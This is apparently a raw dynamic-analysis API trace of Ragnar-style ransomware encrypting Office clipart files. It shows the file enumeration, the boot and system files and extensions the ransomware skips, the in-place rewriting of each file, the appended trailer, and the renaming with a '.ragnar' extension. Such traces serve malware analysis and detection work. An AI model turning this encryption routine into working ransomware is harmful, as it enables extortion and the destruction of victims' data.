[0084.054] CloseHandle (hObject=0xf4) returned 1 [0084.054] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" [0084.054] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.ragnar_FD7BD9FC" [0084.054] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.055] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1 [0084.055] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.055] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107154.WMF" | out: lpString1="J0107154.WMF") returned="J0107154.WMF" [0084.055] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned=".WMF" [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="autorun.inf") returned 1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="boot.ini") returned 1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="bootfont.bin") returned 1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="bootsect.bak") returned 1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="bootmgr") returned 1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="bootmgr.efi") returned 1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="bootmgfw.efi") returned 1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="desktop.ini") returned 1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="iconcache.db") returned 1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="ntldr") returned -1 [0084.055] lstrcmpiW (lpString1="J0107154.WMF", lpString2="ntuser.dat") returned -1 [0084.056] lstrcmpiW (lpString1="J0107154.WMF", lpString2="ntuser.dat.log") returned -1 [0084.056] lstrcmpiW (lpString1="J0107154.WMF", lpString2="ntuser.ini") returned -1 [0084.056] lstrcmpiW (lpString1="J0107154.WMF", lpString2="thumbs.db") returned -1 [0084.056] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.056] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.056] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.056] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.056] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.056] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.056] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 0x20 [0084.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.056] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22300) returned 1 [0084.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5713, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.056] GetProcessHeap () returned 0x580000 [0084.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.056] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.058] VirtualAlloc (lpAddress=0x0, dwSize=0x571c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.058] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.058] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.058] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x571c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x571c, lpOverlapped=0x0) returned 1 [0084.060] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.060] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x571c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.060] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x571c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x571c, lpOverlapped=0x0) returned 1 [0084.060] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x571c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.060] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.061] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x571c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.061] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.061] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.061] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.061] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.061] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.061] GetProcessHeap () returned 0x580000 [0084.061] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.061] CloseHandle (hObject=0xf4) returned 1 [0084.061] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" [0084.061] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.ragnar_FD7BD9FC" [0084.061] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.062] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1 [0084.062] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.062] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107158.WMF" | out: lpString1="J0107158.WMF") returned="J0107158.WMF" [0084.062] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned=".WMF" [0084.062] lstrcmpiW (lpString1="J0107158.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.062] lstrcmpiW (lpString1="J0107158.WMF", lpString2="autorun.inf") returned 1 [0084.062] lstrcmpiW (lpString1="J0107158.WMF", lpString2="boot.ini") returned 1 [0084.062] lstrcmpiW (lpString1="J0107158.WMF", lpString2="bootfont.bin") returned 1 [0084.062] lstrcmpiW (lpString1="J0107158.WMF", lpString2="bootsect.bak") returned 1 [0084.062] lstrcmpiW (lpString1="J0107158.WMF", lpString2="bootmgr") returned 1 [0084.063] lstrcmpiW (lpString1="J0107158.WMF", lpString2="bootmgr.efi") returned 1 [0084.063] lstrcmpiW (lpString1="J0107158.WMF", lpString2="bootmgfw.efi") returned 1 [0084.063] lstrcmpiW (lpString1="J0107158.WMF", lpString2="desktop.ini") returned 1 [0084.063] lstrcmpiW (lpString1="J0107158.WMF", lpString2="iconcache.db") returned 1 [0084.063] lstrcmpiW (lpString1="J0107158.WMF", lpString2="ntldr") returned -1 [0084.063] lstrcmpiW (lpString1="J0107158.WMF", lpString2="ntuser.dat") returned -1 [0084.063] lstrcmpiW (lpString1="J0107158.WMF", lpString2="ntuser.dat.log") returned -1 [0084.063] lstrcmpiW (lpString1="J0107158.WMF", lpString2="ntuser.ini") returned -1 [0084.063] lstrcmpiW (lpString1="J0107158.WMF", lpString2="thumbs.db") returned -1 [0084.063] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.063] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.063] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.063] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.063] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.063] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.063] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 0x20 [0084.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.064] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24908) returned 1 [0084.064] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6143, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.064] GetProcessHeap () returned 0x580000 [0084.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.064] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.066] VirtualAlloc (lpAddress=0x0, dwSize=0x614c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.066] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.066] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.066] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x614c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x614c, lpOverlapped=0x0) returned 1 [0084.068] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.068] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x614c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.068] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x614c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x614c, lpOverlapped=0x0) returned 1 [0084.068] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x614c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.068] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.068] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x614c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.068] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.068] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.069] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.069] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.069] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.069] GetProcessHeap () returned 0x580000 [0084.069] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.069] CloseHandle (hObject=0xf4) returned 1 [0084.069] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" [0084.069] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.ragnar_FD7BD9FC" [0084.069] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.070] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1 [0084.070] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.070] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107182.WMF" | out: lpString1="J0107182.WMF") returned="J0107182.WMF" [0084.070] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned=".WMF" [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="autorun.inf") returned 1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="boot.ini") returned 1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="bootfont.bin") returned 1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="bootsect.bak") returned 1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="bootmgr") returned 1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="bootmgr.efi") returned 1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="bootmgfw.efi") returned 1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="desktop.ini") returned 1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="iconcache.db") returned 1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="ntldr") returned -1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="ntuser.dat") returned -1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="ntuser.dat.log") returned -1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="ntuser.ini") returned -1 [0084.070] lstrcmpiW (lpString1="J0107182.WMF", lpString2="thumbs.db") returned -1 [0084.070] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.070] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.070] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.070] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.070] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.070] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.070] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 0x20 [0084.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.071] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16100) returned 1 [0084.071] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3edb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.071] GetProcessHeap () returned 0x580000 [0084.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.071] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.072] VirtualAlloc (lpAddress=0x0, dwSize=0x3ee4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.073] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.073] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.073] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3ee4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3ee4, lpOverlapped=0x0) returned 1 [0084.074] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.074] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ee4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.074] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3ee4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3ee4, lpOverlapped=0x0) returned 1 [0084.074] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ee4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.074] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.074] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.075] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.075] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.075] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.075] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.075] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.075] GetProcessHeap () returned 0x580000 [0084.075] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.075] CloseHandle (hObject=0xf4) returned 1 [0084.075] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" [0084.075] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.ragnar_FD7BD9FC" [0084.075] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="\\\\?\\C:\\Program 